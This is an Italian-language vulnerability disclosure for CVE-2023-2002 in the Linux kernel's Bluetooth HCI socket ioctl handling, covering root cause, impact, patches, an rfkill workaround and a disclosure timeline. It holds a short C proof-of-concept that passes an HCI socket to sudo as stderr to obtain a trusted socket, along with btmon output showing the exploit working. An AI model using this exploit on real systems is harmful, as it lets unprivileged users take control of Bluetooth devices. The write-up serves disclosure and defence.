
Linux Bluetooth - Esegui comandi di gestione arbitrari come utente non privilegiato
È stato trovato un controllo dei permessi insufficiente nel sottosistema Bluetooth del kernel Linux durante la gestione delle chiamate di sistema ioctl dei socket HCI. Ciò consente a processi senza la necessaria capacità CAP_NET_ADMIN di contrassegnare facilmente i socket HCI come trusted. I socket trusted sono progettati per abilitare l'invio e la ricezione di comandi ed eventi di gestione, come l'associazione o la connessione con un nuovo dispositivo. Di conseguenza, utenti non privilegiati possono acquisire un socket trusted, portando all'esecuzione non autorizzata di comandi di gestione. L'exploit richiede solo la presenza di un insieme di programmi setuid comunemente usati (ad es., su, sudo).
La causa diretta della vulnerabilità è il seguente frammento di codice:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
L'implementazione di una chiamata di sistema ioctl verifica se il processo che invoca la chiamata possiede la capacità CAP_NET_ADMIN necessaria per aggiornare il flag HCI_SOCK_TRUSTED. Tuttavia, questo controllo considera solo il processo chiamante, che potrebbe non essere necessariamente il creatore del socket. Ad esempio, il socket può essere condiviso con un altro processo usando fork e execve, dove quest'ultimo processo potrebbe essere privilegiato, come un programma setuid. Inoltre, se il socket viene usato come stdout o stderr, viene effettuata una chiamata ioctl per ottenere i parametri tty, cosa che può essere verificata tramite il comando strace.
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
Le chiamate ioctl per i parametri tty non avranno mai successo sui socket HCI, ma sono sufficienti per contrassegnare i socket HCI come trusted. Pertanto, un programma non privilegiato può possedere socket HCI trusted, consentendogli di inviare e ricevere comandi ed eventi di gestione, poiché il flag trusted non verrà mai cancellato.
Lo sfruttamento può essere semplice come di seguito:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* By executing sudo with an HCI socket as stderr, an ioctl
* system call makes the HCI socket privileged (i.e. with
* the HCI_SOCK_TRUSTED flag set).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* The socket has not been bound. It can be bound to the
* management channel now. After that, the HCI_SOCK_TRUSTED
* flag is still present, as it will indeed never be cleared.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
Inoltre, btmon può essere usato per confermare che il socket diventi trusted e che i comandi di gestione successivi avranno successo:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
Un exploit PoC completo per cambiare lo stato di alimentazione dei dispositivi Bluetooth può essere trovato su GitHub.
Se sfruttata con successo, la vulnerabilità identificata ha il potenziale di compromettere la riservatezza, l'integrità e la disponibilità delle comunicazioni Bluetooth. Gli attaccanti possono sfruttare questa vulnerabilità per associare il controller a dispositivi malevoli, anche se il servizio Bluetooth è disabilitato o non installato. È anche possibile impedire l'associazione di dispositivi specifici, o leggere alcune informazioni sensibili come i dati OOB.
La vulnerabilità sfruttabile è presente nel kernel Linux dalla versione v4.9. Più precisamente, diventa sfruttabile dopo il commit f81f5b2db869 ("Bluetooth: Send control open and close messages for HCI raw sockets"). Prima di questo commit, lo sfruttamento della vulnerabilità richiedeva di ingannare un programma privilegiato per fargli associare un socket HCI, cosa molto difficile (se non impossibile) da innescare in pratica. Tuttavia, dopo il commit, richiede solo di ingannare un programma privilegiato per invocare una chiamata di sistema ioctl, che si basa solo sull'esistenza di un programma setuid, come illustrato sopra.
Lo sfruttamento funziona finché esistono programmi setuid (o più precisamente, programmi con la capacità CAP_NET_ADMIN) che invocano chiamate ioctl su stdin, stdout o stderr. Nella maggior parte delle distribuzioni Linux, un rapido (ma molto grossolano) test rivela che un bel po' di programmi setuid utilizzano chiamate di sistema ioctl, che sono contrassegnati con 'V' nella tabella qui sotto:
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
Dopo aver controllato manualmente l'output di strace, si scopre che tutti questi utilizzatori di ioctl stanno usando chiamate ioctl su stdin, stdout o stderr per ottenere o impostare alcuni parametri tty. Nota che nessun argomento viene passato a questi programmi setuid. Se venissero passati alcuni argomenti appositamente creati, il numero di utilizzatori di ioctl potrebbe aumentare. Di conseguenza, un certo numero di distribuzioni Linux potrebbe essere vulnerabile allo sfruttamento.
Come nota a margine, i dispositivi Android, tuttavia, difficilmente sono interessati poiché lo sfruttamento richiede l'esistenza di programmi setuid, che Android evita di usare da tempo. Inoltre, non ci sono applicazioni con la capacità CAP_NET_ADMIN su Android.
Una patch è stata inviata alla mailing list linux-bluetooth che corregge questa vulnerabilità sostituendo capable() con sk_capable(), dove sk_capable() controlla non solo il processo corrente ma anche che il creatore del socket abbia la capacità richiesta. Allo stesso tempo, un'altra patch inviata rafforza la logica di elaborazione di ioctl controllando la validità del comando all'inizio di hci_sock_ioctl() e restituendo un codice di errore ENOIOCTLCMD immediatamente prima di fare qualsiasi cosa se il comando non è valido.
Come soluzione alternativa, se i dispositivi Bluetooth non vengono affatto utilizzati (ma non è possibile rimuovere fisicamente il dispositivo), è possibile semplicemente bloccare i dispositivi usando rfkill, che impedirà l'accensione dei dispositivi. In questo modo, l'invio di comandi di gestione per accendere i dispositivi Bluetooth non avrà successo. Questo può ridurre significativamente l'impatto di questa vulnerabilità.
Ci sono due modi per evitare vulnerabilità simili in futuro: rafforzare il kernel Linux e rafforzare i programmi setuid nello spazio utente.
Questa vulnerabilità condivide esattamente lo stesso principio di CVE-2014-0181. Nel caso di CVE-2014-0181, il problema era la mancanza di un meccanismo per autorizzare le operazioni Netlink basate sul creatore del socket, che consente a utenti locali di modificare le configurazioni di rete usando un socket Netlink per lo stdout o stderr di un programma setuid.
2023-04-04: Ho scoperto questa vulnerabilità durante il mio audit dello stack del protocollo Bluetooth nel kernel Linux.
2023-04-09: Ho segnalato questa vulnerabilità al team di sicurezza del kernel Linux e ai venditori di distribuzioni, con una versione iniziale delle patch.
2023-04-12: A questa vulnerabilità è stato assegnato un ID CVE, che è CVE-2023-2002.
2023-04-13: Dopo diversi giorni di discussione con i maintainer, le patch sono state aggiornate di conseguenza.
2023-04-16: La vulnerabilità è stata divulgata sulla mailing list pubblica oss-security e su GitHub (qui). Due patch sono state inviate alla mailing list pubblica linux-bluetooth (prima, seconda).
2023-05-01: La correzione è atterrata nel kernel principale (come parte della finestra di merge di v6.4), così come in v6.3.1, v6.2.14, v6.1.27 e v5.15.110. È stata anche accodata per la prossima release stabile dei kernel v5.10, v5.4, v4.19 e v4.14.
2023-05-17: Finalmente, la correzione è atterrata in tutti i kernel stabili. Nello specifico, è stata applicata anche ai kernel v5.10.180, v5.4.243, v4.19.283 e v4.14.315.